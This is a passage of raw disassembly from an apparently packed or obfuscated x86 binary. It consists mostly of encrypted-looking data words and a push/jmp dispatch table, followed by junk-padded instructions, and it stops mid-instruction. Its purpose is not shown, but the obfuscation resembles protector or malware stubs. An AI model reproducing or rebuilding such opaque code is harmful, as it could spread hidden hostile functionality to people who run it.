53430000h, 161E21C3h dd 0EFBE86A0h, 9D29CB54h, 6100BDDh, 0AE9h, 0FE8D1600h dd 37B9FE83h, 0FFAD377Eh, 102DB995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0D4B708D0h dd 9D95896Dh, 6A06101Ah, 0C995FF00h, 8B061031h, 0CA3CEBC0h dd 69383034h, 12EB5B3Ah, 0A86E4E4h, 0D66C83B4h, 0A18BC2ACh dd 0F0EF1AD1h, 0A7D421E6h, 0C25AD506h, 8DE84F9h, 68C1E445h dd 5BEC4CD5h, 0F73ADDD5h, 1FF1E07Fh, 0ED5FB511h, 0E8B4BCD2h dd 9, 0D7E55712h, 334BEC5Ch, 68F0FBAh, 31000000h, 1004798Dh dd 8E85F06h, 18000000h, 3F9EEA16h, 53D9AAA8h, 58C78B66h dd 13C78158h, 0E8000066h, 0Fh, 8AD3014Bh, 346D98EEh, 0B7243DCDh dd 0E982D050h, 12h, 9A4179F8h, 0CBAA622Eh, 0DE8CC636h dd 0B718EAC0h, 0BA586BE4h, 62D6602Bh, 7979F281h, 0D88162D6h dd 71BBAF5Fh, 81F5378Bh, 0F0B256C6h, 8102B001h, 0EF5B20EEh dd 0D99D895Ah, 81061001h, 142DB4F6h, 59858933h, 56061007h dd 6CC98166h, 8B078F2Ch, 10132185h, 2EF8306h, 14E9h, 0ACE14500h dd 73291B37h, 0B02FC089h, 1660179Fh, 0C7A05DC2h, 664F4FD7h dd 89EECB81h, 0F01EA83h, 0FFFFA385h, 8D9D8BFFh, 8D061022h dd 172EF88Dh, 5E906h, 0FE870000h, 89A502D5h, 1009F58Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 791F8988h, 0AAFE82CEh, 231985C7h, 65700610h dd 858B0000h, 6100A09h, 4C77BE66h, 22C185C7h, 610h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 937CE7C3h, 9C6A85BFh, 0AE998h, 40940000h, 69A561BEh dd 0F07C560Dh, 865B5FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0D30C1BC3h, 29A99D8Bh dd 95FF0610h, 6102DB9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 73C35646h, 0C58AB8C9h, 98E0F50h, 60000000h dd 0D8D68166h, 615CB064h, 95FF006Ah, 61031C9h, 59EBC08Bh dd 5BD27244h, 5C56AD43h, 59830FBDh, 56C58865h, 9CA44304h dd 615CFA72h, 8B43F9DBh, 0C1670DE0h, 0E643689h, 0C6DAB8F9h dd 0EA09AF38h, 73D17887h, 0D38AF631h, 779B0FC5h, 6C0FC0A9h dd 0B60ECBC2h, 0FC63F092h, 23205BEh, 38684EACh, 4C429571h dd 735510F3h, 0E1F08075h, 8E8F1h, 0D0B30000h, 669B002Fh dd 89583E64h, 102025B5h, 7AC08106h, 3100006Dh, 1008AD9Dh dd 0B906h, 0B50B0000h, 6100D55h, 5A0134FFh, 29419D89h dd 0C2810610h, 1455BF08h, 6E9h, 94BBA200h, 81C68C6Eh, 8D80D1F2h dd 8F0F45h, 81000000h, 9EAFA3EAh, 0D4D78035h, 81081489h dd 0CC95A2EFh, 0AFFABE67h, 0E9815C0Ch, 7971B429h, 48E0Fh dd 0BF660000h, 0C181AB23h, 7971B425h, 81FE8B66h, 0FF931CF9h dd 9D850FFFh, 0E9FFFFFFh, 0Ch, 6C7DC276h, 43AA2A48h, 21AB4772h dd 23E585C6h, 68560610h, 0A9C530DFh, 1D45B5FFh, 858D0610h dd 613858Ah, 8D8DD0FFh, 61015A5h, 0FF406A51h, 1006C9B5h dd 1DB5FF06h, 0FF061009h, 0C9B5FFD0h, 0FF061006h, 10091DB5h dd 9E806h, 0F0CA0000h, 8ECD974Bh, 5ECFC336h, 4EE835Eh dd 2242CC1h, 22424C1h, 0F7243403h, 0C033241Ch, 5A3034FFh dd 63C0F281h, 0C2814253h, 7524433Ah, 0DB7CF281h, 1489125Dh dd 1E88306h, 3B484848h, 850F2404h, 0FFFFFFD8h, 0F519D8Dh dd 38B0610h, 840FC00Bh, 7, 5B8B038Bh, 8B188904h, 0E6E9C9h dd 94EF0000h, 9CD70681h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 0Bh dup(0) dd 14E2E9h, 33736800h, 0DDE90617h, 68FFF94Eh, 61734A4h dd 0F94ED3E9h, 359E68FFh, 0C9E90617h, 68FFF94Eh, 61736CBh dd 0F94EBFE9h, 375D68FFh, 0B5E90617h, 68FFF94Eh, 617382Ch dd 0F94EABE9h, 38E268FFh, 0A1E90617h, 68FFF94Eh, 6173970h dd 0F94E97E9h, 3A4A68FFh, 8DE90617h, 68FFF94Eh, 6173BB4h dd 0F94E83E9h, 3CC268FFh, 79E90617h, 68FFF94Eh, 6173E2Ah dd 0F94E6FE9h, 3F0668FFh, 65E90617h, 68FFF94Eh, 6174065h dd 0F94E5BE9h, 418568FFh, 51E90617h, 68FFF94Eh, 6174341h dd 0F94E47E9h, 441768FFh, 3DE90617h, 2FFF94Eh, 0CA510D50h dd 0E86FEB22h, 0C5540841h, 0F269E522h, 5D4BFF3Eh, 0D211B321h dd 0ED2EDF56h, 944EA71h, 0E81DC655h, 84877974h, 6BDB4E3Eh dd 3253D9D6h, 0AF2A4479h, 0DEA0BDFEh, 0DB1CCD8Ch, 598E35FEh dd 627980E5h, 11B8A188h, 0D24E67FCh, 96CF771Eh, 952E9423h dd 3FB2FBFEh, 4092397Bh, 0F8000000h, 0DF83BD5Ch, 8B7EF0A4h dd 6DCC7C37h, 536F53CFh, 0F0F75479h, 0AA951F64h, 59DDC904h dd 9178607Dh, 67FCD1A0h, 95D27544h, 0BA66C2B8h, 3CD053EBh dd 6201B294h, 7A8A4687h, 0DD2639h, 32640000h, 39504479h dd 1BA76297h, 0FB6DCC7Ch, 0C5A1E084h, 590CCFA1h, 0B591C67Dh dd 968865C1h, 5F1348FFh, 8A38F30Dh, 6A923383h, 0A962D9EEh dd 8B11B874h, 749233FEh, 0CB488DCBh, 966CCE13h, 0D077FEBAh dd 0FB1AE79Bh, 61B0EE0h, 7E980382h, 0D8D30ABBh, 9423066Ah dd 0BEB28E8Ah, 31E526C7h, 463C1135h, 0A64910EAh, 75CA9469h dd 0A8637D5Eh, 9E15CE0Bh, 83BA72E9h, 1752F88Fh, 5C1E3Bh dd 0A91910EEh, 4D9E10BDh, 55E4FCD1h, 41B874B3h, 0D611B58Fh dd 0BCF7AB2Ah, 0F90FBC98h, 37403569h, 124B765Fh, 0FBF0000h dd 0E38910CCh, 4A930ACh, 0E3880FCBh, 1A332A6h, 0E42006C2h dd 1793D276h, 30ACEDA0h, 0ECA05A9h, 2FABE087h, 0F949403Ch dd 1D6BDB4Fh, 7E32F4C0h, 530C8B3Fh, 5C1CAA1Eh, 324C1EBDh dd 0DBC704A7h, 0D6CA07BCh, 0AA61765Ah, 67FC7C89h, 0FD3CF06Bh dd 4A502D09h, 7BB8D33h, 0D8CCA8CCh, 617B6566h, 0F0836CE4h dd 9A9630DBh, 3E759423h, 4F6F42A7h, 0E4F397Bh, 0BD000001h dd 4A97932h, 775BD7CBh, 0F62FD665h, 0A5518A3Fh, 0DBFAACC1h dd 6F36EA29h, 6DCC01E9h, 0E8649952h, 62A14316h, 1E95B2AEh dd 6F443065h, 0B2597368h, 9803F1B1h, 0BC04A833h, 16E8F96Bh dd 596E521Ch, 0CDB3CDA9h, 233964DEh, 0FBAE8094h, 94233947h dd 0CA9FC39Fh, 0FDAF2A14h, 37F61CB5h, 294D990Fh, 0BA08037Dh dd 5A9423CEh, 86F5E2FEh, 1E70D1B2h, 676E0FECh, 0D6FA35D9h dd 598E3504h, 0CCB4C9ADh, 15C765DDh, 0FCAF819Eh, 9E10BD46h dd 0CC9EC29Eh, 65DDCCB2h, 819E10BDh, 590BC8A5h, 6B1E401Ah dd 9E10BDD7h, 0A016332Fh, 93387719h, 4035694Bh, 1AE8F1A5h dd 8E000011h, 962599DCh, 7403B7EEh, 0A11894CDh, 7EFDB1EEh dd 0D9CF8BCAh, 4E8D3FADh, 69AA5BDAh, 85C066F5h, 649952C9h dd 10FB05E8h, 6BDB48B2h, 0D7CF5552h, 74206104h, 0AC60DBF0h dd 0C16AF16Dh, 0A28EB583h, 330F4255h, 0CF744719h, 9382DE92h dd 6DCCB12Fh, 0C88E6BC7h, 0A9793242h, 57DBC708h, 5710877Bh dd 7CC57D2Ch, 45216DCCh, 772EAD21h, 0F3D8523Eh, 0B3B4CDA7h dd 1E570E6Bh, 0F5D2EE72h, 0DC50853Eh, 952DDC02h, 716DCCD8h dd 683ED8F5h, 43E8585Fh, 1910EA06h, 67FC8488h, 0B5F6972Eh dd 3C184DF6h, 7114A779h, 0A1454430h, 1ACB8A66h, 34492DD9h dd 0B2ADCE77h, 6F6C8B8Ch, 4A55AE5Dh, 4C0F659Ah, 7A805D94h dd 0F6FDF29Eh, 38200BE5h, 0A69BADC4h, 0FF2D6D13h, 9FB458CAh dd 721594B0h, 6621835h, 89BE65F4h, 0B970EBD5h, 37F06B80h dd 511F5502h, 0A57145ABh, 102034h, 0AFF29400h, 8DC47CFBh dd 6AA34AD1h, 87C467EEh, 61A044D3h, 5183FFEDh, 6DEC609Fh dd 38BF7BBCh, 54E35792h, 0C7C276ABh, 498C36F5h, 8B686BDBh dd 447932C1h, 0BDFEAF2Ah, 211DEA0h, 62D907D9h, 0B2596EAFh dd 67FC1EC1h, 0BF569C5h, 0A95D9C50h, 0A16ED4D7h, 0AA869423h dd 0D9B5A1C6h, 0DE587EA6h, 7E5D7C09h, 905CBD6Ch, 932A9E13h dd 0BE90B4EFh, 5F44F48Dh, 7F5CBE0Ch, 746ED87Fh, 0F68D9E13h dd 14527B5Fh, 0B35F437Fh, 0DE2FE805h, 4E3F8C1Ah, 0F39FD48Bh dd 37F65A6Fh, 54000000h, 4C1EBD5Ch, 0FCCA645Dh, 8A9D8267h dd 0F67DD525h, 0B835A8D6h, 70D8F893h, 0BBF7A54h, 17AD5CD0h dd 2894233Fh, 78E4A7Fh, 6B7C2863h, 0F55h, 0E71EC695h, 0BD5C3A12h dd 0BF5D4C1Eh, 2567F72Dh, 98B5F096h, 635A7DE2h, 272CB05h dd 0A2F134Ah, 0CF171348h, 97698D1Fh, 72E61BC4h, 1B073CE3h dd 0B2CC0FA6h, 1F17ACF7h, 10EA469Eh, 0F16DA249h, 59984C0Fh dd 27B4C9ADh, 6A574B80h, 0CBBE904Bh, 942D0FFAh, 6FC32804h dd 0A15E28A8h, 0EF3E4F5h, 0C7670000h, 9B51C884h, 0BC71E864h dd 9B50C783h, 0B96BEA5Eh, 0BCC8BE7Ah, 0DF5B9A4Eh, 0B874B558h dd 0D6528D41h, 0B773A85Fh, 8141E8D4h, 656BDB4Ah, 4402BC88h dd 36DCC7Ch, 0EB15E7F4h, 7CAC1615h, 0CC816DCCh, 0A289DB93h dd 6DCC7C20h, 6F8C68C4h, 0F72CF1B4h, 0D3AD8967h, 502A5F08h dd 0F9ADE289h, 5FD6607Dh, 327F73A8h, 932638A3h, 0C098B5EEh dd 14D1A8C9h, 851F4C9Eh, 59B7DA2Bh, 1C51FAB1h, 2BEF0C68h dd 9AB6EB94h, 311AF32Dh, 80693D40h, 0E61h, 36F235D5h, 56D209BFh dd 3DF12ADFh, 10CC09BEh, 34A8E789h, 0F498CA36h, 0CF82F9B5h dd 0E79B1A8Eh, 2A930ACh, 221E11CDh, 0DB4BDB67h, 0D65E3B6Bh dd 0B08296D7h, 0C1D9ADD9h, 0CC9678CAh, 0A4C09C6Dh, 0F81263B7h dd 0C499B1CBh, 0CA8050F7h, 637FE38Fh, 3A6F18AFh, 233D3F46h dd 0CC86DA68h, 0BF24056Dh, 0CBDA9D2Fh, 2BE057D3h, 0AB4AD9EEh dd 6AF5834Eh, 9126333h, 5CA90000h, 324C1EBDh, 0CC7CCB77h dd 1A2F2B6Dh, 2C0F4346h, 6BC767F7h, 0E627CA91h, 0F949403Ah dd 1D9424ACh, 30482541h, 11CD02A9h, 0F8ACE18Ah, 24AC15B1h dd 16C55494h, 0EA9F1A44h, 0BA61C5B1h, 9424AC08h, 855B70ECh dd 14CEED86h, 20CDA99Eh, 40310536h, 925B4C58h, 600000Dh dd 2EAD2164h, 0C8B3F76h, 19A01C55h, 0F6853976h, 0B1971352h dd 46852755h, 21620392h, 3D782EADh, 1C51FA81h, 0D8D3ADA0h dd 6BDB446Ah, 32870D8Ah, 39504479h, 22A95D92h, 11C802A1h dd 0FF71255Ah, 0CC7CB60Ch, 0EED24E6Dh, 1D743AC9h, 3247A115h dd 6AFFA46Dh, 0A3451433h, 0BE04A15Bh, 431F713Dh, 52F6D34Fh dd 850h, 0DDE77F6Ch, 84AFE06Ch, 4402DD67h, 36DCC7Ch, 1615E7F4h dd 67F72D9Ch, 4435D516h, 7884E81Eh, 0A9C39F63h, 88447932h dd 71255A11h, 94667584h, 14C8FC95h, 83B59A9Eh, 6AA34AA5h dd 992FC77Dh, 293C10BDh, 22F24031h, 0CDCB1h, 5B9E5000h dd 79B058DFh, 568F36C5h, 73B053E2h, 4D8C40B7h, 0FD6F9B91h dd 0C9500C4Bh, 0E473E728h, 0D047033Eh, 8366E217h, 44309279h dd 0D7D46BDBh, 4E79324Dh, 0CC7CE75Bh, 3F23FF6Dh, 0BAFBAE2Dh dd 918D6AC6h, 681C51FAh, 26C36261h, 336B29CBh, 7AFABh dd 0BD5C2100h, 0F85D4C1Eh, 667F72Dh, 0E289502Ah, 1AA31ADh dd 3591D8CCh, 349424B3h, 652436A5h, 9E14D10Ch, 0DAD603E8h dd 0D2748E85h, 0C42905F5h, 40310586h, 4E0B9C88h, 0C200000Ch dd 8A11CD10h, 0A82FABE2h, 8514C801h, 0B229A5E2h dd 1D0BBFFEh, 92D173E1h, 0ADEE9F16h, 0C904AA31h, 0A8DD8615h dd 44473934h, 6BDB45FEh, 32139916h, 63143B79h, 3FC22943h dd 0FBA7E288h, 30A75B77h, 4D053977h, 0F8366856h, 0FEB128DCh dd 0FB6D5C1h, 0A34F843Bh, 9AEFA3BFh, 1ACB6A09h, 4A2EFDD9h dd 0F5A1DA8Fh, 28C75C71h, 6AC404CDh, 702E433h, 0D7260000h dd 7C4002A9h, 0C8A46DCCh, 7C4BF8B3h, 0D2896DCCh, 3135E11Ch dd 1610490Ch, 46232A41h, 0A1BB20B7h, 0F74F66EAh, 0A8C29E67h dd 89457A31h, 70245912h, 95677483h, 8E520C6h, 307039F0h dd 65F49E15h, 0B07287C0h, 3D148DBEh, 800DE03Fh, 15352999h dd 0DA51CD9Eh, 280CF835h, 0E1999F4Ch, 9F774030h, 0B7436h dd 346E800h, 0E118D047h, 0FE37EE6Dh, 0DB18CB4Ah, 0F534D85Fh dd 0C5375339h, 0F168E423h, 0CC4BFF40h, 0D85FDB16h, 4B3EFA2Fh dd 4608BA71h, 0EFEC6BDBh, 44793225h, 0A75BDE50h, 1BC48F6Ch dd 0FB5D3AE6h, 7C9C26E5h, 0FC786DCCh, 7CA53CDFh, 5F1A8EC3h dd 336B358Eh, 4C873BFEh, 173B92Fh, 0D7130000h, 70245D04h dd 0A35CD7F4h, 0C7858C65h, 1F43D125h, 76AB5473h, 0EA565DC2h dd 161A0647h, 0F899203Ah, 0CBBEA2B7h, 67FC5DEEh, 95CA8118h dd 2896C5B1h, 0CB943C4Ah, 11DC19B8h, 0F1397AF4h, 44h, 2A9D75Bh dd 6DCC7C40h, 52B3C8A4h, 434618C3h, 67FC7C6Eh, 91D8CCA8h dd 943C7C35h, 7D29640Ah, 826EA75Eh, 0F5C26110h, 5B0E7D45h dd 40E90D54h, 0C809EC83h, 38397A59h, 0E195CA81h, 0D7006885h dd 4A000000h, 265B04D7h, 0ACE18A51h, 0F02FE1F8h, 0A9DE8504h dd 0DE5D83FDh, 3B37EB2Ah, 0CC7CF64Ch, 35120E6Dh, 1C90C57Eh dd 0AA6C0942h, 0DF5681EFh, 56AB210Ah, 0CB746DCCh, 26382296h dd 0CC2EDF63h, 1E3B376Dh, 0C9A338BFh, 47BB0CA4h, 0F5D25992h dd 2D1828E3h, 7CF867FAh, 0A7627C62h, 94219B1Bh, 0C63A1FFBh dd 1F7A95DAh, 0AE62D9EEh, 0C9909266h, 71565B0Ah, 0A50C624Bh dd 2397BB27h, 0CB1F094h, 4A04DB12h, 0A9F081Ch, 7E00000Ah dd 46D589CCh, 64F3679Eh, 51C884BDh, 6EED619Eh, 0C9BF7BBAh dd 5E9D4FBDh, 79BA6BEAh, 559036C5h, 74A962D9h, 40EBD5B8h dd 6BDB4782h, 32BF8562h, 6BFF367Eh, 0DAEB8E58h, 0FFAE4F6h dd 6DCC12B3h, 49883C53h, 0E0FDD95Dh, 0F328DF56h, 7932B137h dd 92395044h, 0D568E15Dh, 88000004h, 0F5C66663h, 0BE0ED7Ch dd 83BD5C41h, 73EFA3E0h, 6A637D4Fh, 0F69C8EAh, 87845999h dd 67FCEC56h, 0D98074F0h, 943C9C6Dh, 24D00DC2h, 0DAC601A5h dd 0D6CA09BBh, 41E0BF5Ah, 23B68A7Bh, 9427447Fh, 55B5F8FDh dd 2A95397Ah, 0F7000002h, 0CC7C5F02h, 0F0EB0A6Dh, 2BDE00DEh dd 6DCC7C97h, 7CE45E4Dh, 24006DCCh, 59CBF06Ch, 68F206A3h dd 2CAE5572h, 0B667F7A9h, 0C56D9AB5h, 5E7B94E9h, 2BAEC09Ch dd 0B18B3F74h, 2E4B822Ah, 9C0FEA5h, 6EC44E4Eh, 0DFD4C0A4h dd 72E903D8h, 938F83BAh, 0A2E7A2B6h, 649E15BBh, 1CC16308h dd 0D7CF4030h, 8FCCEh, 7BBE7000h, 599038BFh, 76AF56E5h dd 539033C2h, 6DAC60D7h, 5D8FFBF1h, 69F06CABh, 44D387C8h dd 70E7639Eh, 0E3C682B7h, 409032D9h, 77746BDBh, 447932ADh dd 5D923950h, 30CFF4A9h, 49053AF1h, 43DE477h, 40371410h dd 336B356Dh, 1744Dh, 7932BF00h, 2A542A44h, 0CC7CC37Fh dd 6047236Dh, 6DCC7CE2h, 55512602h, 0E4588D36h, 8963787Fh dd 0FC11B9A2h, 25D14D67h, 2396C876h, 6BAC5D94h, 316820B7h dd 8E25D645h, 83225142h, 90D17447h, 0B46B80E4h, 397B4059h dd 245912C9h, 2FDAF470h, 94239E93h, 6EE2F773h, 47h, 83BD5CDCh dd 0AFC1A5DEh, 0FC7CD7FCh, 954E0D67h, 9BB0B460h, 0EA718BE7h dd 34F20746h, 2383D965h, 0E8873C94h, 7CB76BEEh, 0C8CFAC88h dd 397B3705h, 0CDE5h, 0AA60DB00h, 6104836Fh, 42174420h dd 98C21958h, 3203C99Eh, 0CD02A979h, 731F560Eh, 0A81FD3EFh dd 0BAD1C504h, 9F23E611h, 776DCC7Ch, 0AC2BD7FBh, 0D2ACBEF3h dd 0CC7C6BD7h, 0BA8F8B6Dh, 45311A04h, 6D001619h, 38A08B60h dd 16DCC49h, 0EF380C4Ah, 18465023h, 9423803Ch, 98BCF5ACh dd 96A385C6h, 283934BCh, 0D6EF5356h, 2B076DCCh, 417F2A4Eh dd 0A167FA1Bh, 7C30ABC5h, 56FA813Dh, 5DCCB217h, 0B2624A04h dd 79421h, 23660800h, 417830A7h, 1E570E8Dh, 3B782BAAh dd 1554F87Fh, 2557B399h, 11884483h, 2CAB1F60h, 0F87F3B76h dd 0AB9E1A4Fh, 4268DAD1h, 0F8C6BDBh, 5B04D785h, 0E1F67A26h dd 6577B65Ah, 0D7F431D6h, 0FA2FD85Fh, 7932A83Eh, 51412A44h dd 0FC2F022Dh, 63622439h, 52D387BCh, 260h, 28BD5CAAh, 0CC7CC181h dd 3749256Dh, 0CC7CCE74h, 264A266Dh, 2DB35554h, 0CF4B67F7h dd 0B3CA7423h, 57299424h, 0AB0AB416h, 2338AF30h, 56E5E180h dd 0A27E72B3h, 50447F23h, 0AD00F7D4h, 8D39830Bh, 1F0h dd 7C5F02FFh, 0EB0A6DCCh, 0D12BDEF0h, 0A967F72Dh, 0ECDB3CDh dd 914A1F56h, 0B229A5DAh, 0E3D0C4F9h, 66F507D4h, 979B87BEh dd 0AEEB9EC2h, 589E14CEh, 61816FDCh, 0F7AF4031h, 6B8EEh dd 377A2C00h, 154CF483h, 326B2299h, 0F4CFF76h, 29681C9Bh dd 194BB7B5h, 0F5843877h, 20971354h, 0FC7B2F6Ah, 0AF9A0E43h dd 4364DECDh, 23806BDBh, 44793299h, 67923950h, 0CC7C1EA4h dd 567AF66Dh, 0D611B584h, 7531462Ah, 45EC8318h, 0DEDE609Eh dd 4E2D9594h, 6DC96DCCh, 73565280h, 97BB97CCh, 97955823h dd 4975336Ah, 0D7000001h, 50447932h, 0E15D9239h, 94667584h dd 2D95946Ah, 0C96DCC7Ch, 5A76806Dh, 0D2153E9h, 481633F0h dd 74F067FCh, 386DD980h, 0F390943Ch, 0E658995Ch, 0A3C8397Ah dd 0BC15004h, 0E859E7D4h, 4F7EF207h, 80000000h, 2BD718B9h dd 5C9A3247h, 8D4C1EBDh, 4101A8D9h, 0A56DCC7Ch, 7DF9ADC9h dd 0A0917860h, 4467FC7Ch, 0C499CE75h, 0E7AE62BEh, 9423835Fh dd 0AE613DF0h, 2AA15571h, 0D0574B82h, 0DE91902Fh, 5571F5A1h dd 75700FA4h, 397B369Ch, 0A17Ch, 7932CE00h, 0FDAF2A44h dd 0D74ED2BEh, 23E3F833h, 0D5C100A4h, 2CD80DB6h, 0DC1F6ADh dd 0C900A833h, 878459DDh, 6DCCF651h, 904C812Ah, 11DABDAEh dd 0EC1C7885h, 74676E0Fh, 3691AF5Ah, 0F5719805h, 16C805DBh dd 0CF804944h, 69A1EFDCh, 8EB3CEB6h, 0F4E02B9h, 29681C9Bh dd 5BCC2C4h, 4F584C4Ah, 559h, 5EDA1DCDh, 3EFA31D7h, 65D912B7h dd 38F431D6h, 5CD00FC1h, 2CE0126Eh, 47EA71EDh, 1FC35206h dd 3AF168E4h, 5A664905h, 0DB3C13AFh, 2EF6F36Bh, 8B3F7E32h dd 4C1E530Ch, 0CA9FD88Dh, 79327614h, 92395044h, 14B8835Dh dd 775B923Ah, 2D6BDC62h, 0E1000000h, 50447932h, 0A95D9239h dd 54407D32h, 0A1559235h, 7649842Ah, 1514B64Dh, 6DCC7CADh dd 3609ED49h, 782FF68Dh, 351E8743h, 6E000000h, 8A97932h dd 4CF6B5C7h, 0A86DCC7Ch, 0ADFCA8CCh, 6DCC7C10h, 704B80FAh dd 9475EF17h, 0AE45D6F3h, 0BCFBAD2Ch, 366B149Fh, 0B6F19524h dd 5F1348FFh, 0DA70E603h, 50447932h, 75875463h, 0F72D56B6h dd 18322E67h, 0D1711846h, 359424B2h, 92AEE79Eh, 745FEB5h dd 55F0F76Bh, 7B2F130Bh, 620E43FCh, 7B55868Dh, 0D8CC0DC0h dd 0B2597F5Ch, 9E1F4FF7h, 2B9938Fh, 2D27949h, 1C2E124Bh dd 1D4ED56Dh, 1135319Eh, 30651E9Dh, 73686F44h, 379DB259h dd 0D69942Dh, 28809C60h, 0B122F25Eh dd 439h, 0FEBAFDADh, 1E9AD177h, 5B9F297h, 1894D176h, 0FCB0EFA1h dd 0CC80F20Eh, 0A74AD18Dh, 0BF63F266h, 9A51C884h, 0FA06E965h dd 0DB3DB30Fh, 0CE56536Bh, 5B4E7932h, 6DCC7CE7h, 8B3F23FFh dd 721E530Ch, 8B77AC53h, 0F16ADCEh, 0F4A72358h, 336B3619h dd 65F9h, 0BD5C5300h, 0B6A3E083h, 0D153A70Ch, 0A1BB979Ch dd 4B37761Ah, 10EE12E7h, 23A634DBh, 0EF0CD954h, 0FCEB0F34h dd 718BE767h, 0B87042EAh, 0B5919581h, 371451F6h, 6A213F21h dd 9423AFD8h, 500BE03Ch, 3CEB5F9Ah, 9423AF84h, 0A6B0EE95h dd 0CBA6B990h, 502A9EC2h, 2254351Bh, 3512E74Ah, 998DC87Eh dd 38010h, 79327C00h, 0B5412A44h, 1A95A6E4h, 0D5F4B2C7h dd 0B169F02Eh, 35067EEh, 0CCEEBA08h, 0E2FE5A6Dh, 0B66DECFEh dd 8DF26C81h, 907B5586h, 67FC83ABh, 93CA8239h, 0B46683DFh dd 219DCCB8h, 0C4943C00h, 0FCD510AFh, 0DC397AADh, 37h dd 1EBD5C2Eh, 9DDA8D4Ch, 98C698C0h, 0CC7C51F1h, 0A4B9B56Dh dd 0FC7CCAE7h, 2FDA4C67h, 94238393h, 27DBF773h, 2383C680h dd 0F78E2594h, 7B371FF2h, 0C2FF39h, 0D74D0000h, 0FA296196h dd 4429993Fh, 0A5327F25h, 31AABFC7h, 3A51457Ah, 2CAB5796h dd 33523E73h, 24E3578Ch, 6DCCDAA4h, 0A7B9EE95h, 12A5AA6h dd 0BF765AEAh, 421ED209h, 812AB125h, 4C6B584Ch, 0DCEBD8Fh dd 0B967FCC3h, 15A401BDh, 0B4CAB4C6h, 3CC54DF5h, 0F22BE294h dd 62491EFAh, 9E0A0D68h, 0BCEA07Ch, 1C44195Ah, 3C320942h dd 0E135A25h, 8FCE8239h, 0A9E89C1Bh, 378D7644h, 0DBCCD840h dd 27Dh, 4AFE41F1h, 6ADE15CBh, 41FD36EBh, 64D815BAh, 38F433D5h dd 20C43652h, 3BEE6DE1h, 13B73EFAh, 2ED564D8h, 764A45F9h dd 0DB3F0FB3h, 420AE76Bh, 8B3F7E32h, 4C1E530Ch, 0F5A1D68Dh dd 44E25C71h, 4C1EBD5Ch, 0D98D4C32h, 876EF29Eh, 6DCC7C3Bh dd 3F336E14h, 0EE942BE3h, 7F63BFB3h, 7C90C16Ah, 0FA7667FCh dd 83E75F06h, 2A069423h, 46D81541h, 8358AE08h, 9E401A0h dd 0E9397B6Eh, 9Bh, 4E793263h, 0CC7CE75Bh, 5990386Dh, 0FDA9CDA9h dd 37EB2ADEh, 0CC01E870h, 659A516Dh, 0E9B972E9h, 171B0748h dd 5B7A473Bh, 7EBB6E80h, 89803F4h, 0C453B02Ch, 95464517h dd 319E1556h, 0ECA01B35h, 6308D3ADh, 0E8D5126h, 0FAAE1B5Ah dd 3440349Ah, 1A77760h, 6B1B0000h, 7F25B428h, 60059448h dd 7F24B327h, 5D0F8642h, 40BCAA1Eh, 0AB1F5E12h, 8438792Ch dd 0A21651F5h, 83376C13h, 4DF5B488h, 0A96BDB38h, 7E32804Ch dd 70B800A4h, 0D57AE3E0h, 0E12FEE2h, 48FF7632h, 32119713h dd 39504479h, 5AE15D92h, 7C627CB1h, 6772F04Fh, 0E59406D4h dd 6DCC435Dh, 4BFEBDB9h, 3D1A160Ah, 76657441h, 20ECA564h dd 0AEAA67FCh, 0DED0C2h, 3C67B909h, 0EC015D94h, 2D1EB857h dd 90FB6D60h, 0C6F3D874h, 2C9D9524h, 7A31AABFh, 9D3C8945h dd 0A0C4FFA3h, 657EDBCEh, 0B6889E0Ch, 2C634FF3h, 0DDA0729Eh dd 9185BBFh, 0EA9E1D19h, 577BF7ABh, 3E732CABh, 76451752h dd 0E6B592D3h, 0D209104Fh, 0B053E6F8h, 25348E7Dh, 54D09E2Ch dd 0BB05B70h, 0FB941C72h, 0AD1AB1Fh, 0F77B2766h, 7DB259E2h dd 215C1289h, 31D06375h, 460237F0h, 0EF01DAF9h, 2C36773Ch dd 6E1D0F8Ah, 8A0C79D4h, 6F1A3430h, 8A0C79D3h, 671B3733h dd 8240EB15h, 628A0C79h, 8E36C5FDh, 0C29E0DBEh, 40752EA5h dd 0BFF4AB2Eh, 0D50CB4D3h, 0B82ADCF1h, 0DEF56A09h, 6B28E3FDh dd 2B803C5Fh, 0E35B7C26h, 7AA861Fh, 12C6AAC6h, 9BB526ADh dd 47CDB9F0h, 34F74986h, 0B655CC8Eh, 3AE60A66h, 0FBAFE49Bh dd 0E28EC37Ch, 0EEFE59B3h, 87C66AB7h, 0C45FC9Bh, 5CF38E18h dd 0DBF730D5h, 61C05F40h, 42B975AAh, 29A05489h, 4B5D4986h dd 6F1819B8h, 7415EB9Fh, 0FFE33F33h, 37F067E3h, 9D1C0E02h dd 7BF7ABECh, 3E35Eh, 5F590000h, 3D80326Dh, 64995249h dd 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h dd 5B943950h, 417830A7h, 8952CF55h, 4C281E2h, 81000000h dd 4EAh, 24148700h, 242C895Ch, 6FE468h, 240C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 6173230h mov ecx, [esp] add esp, 4 push esp mov edx, [esp] add esp, 4 push 3D33h mov [esp], eax mov eax, 8 add eax, edx mov [eax], ecx pop eax push dword ptr [esp] pop edx add esp, 4 mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, 